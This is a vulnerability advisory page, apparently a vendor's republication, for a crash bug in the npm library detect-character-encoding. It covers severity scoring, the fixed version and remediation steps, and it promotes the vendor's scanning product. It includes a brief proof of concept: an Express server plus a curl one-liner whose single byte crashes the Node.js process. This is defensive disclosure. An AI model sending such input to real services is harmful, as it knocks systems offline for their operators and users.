GHSA-jqfh-8hw5-fqjr
HIGHImproper Handling of Exceptional Conditions in detect-character-encoding
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
detect-character-encodingReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Impact
In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.
Patches
The problem has been patched in detect-character-encoding v0.7.0.
CVSS score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C
Base Score: 7.5 (High) Temporal Score: 7.2 (High)
Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.
Proof of concept
const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");
const app = express();
app.use(bodyParser.raw());
app.post("/", (req, res) => {
const charsetMatch = detectCharacterEncoding(req.body);
res.end(charsetMatch.encoding);
});
app.listen(3000);
printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | detect-character-encoding | all versions | 0.7.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for detect-character-encoding. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update detect-character-encoding to 0.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jqfh-8hw5-fqjr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jqfh-8hw5-fqjr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jqfh-8hw5-fqjr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jqfh-8hw5-fqjr in your dependencies?
O3 detects GHSA-jqfh-8hw5-fqjr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.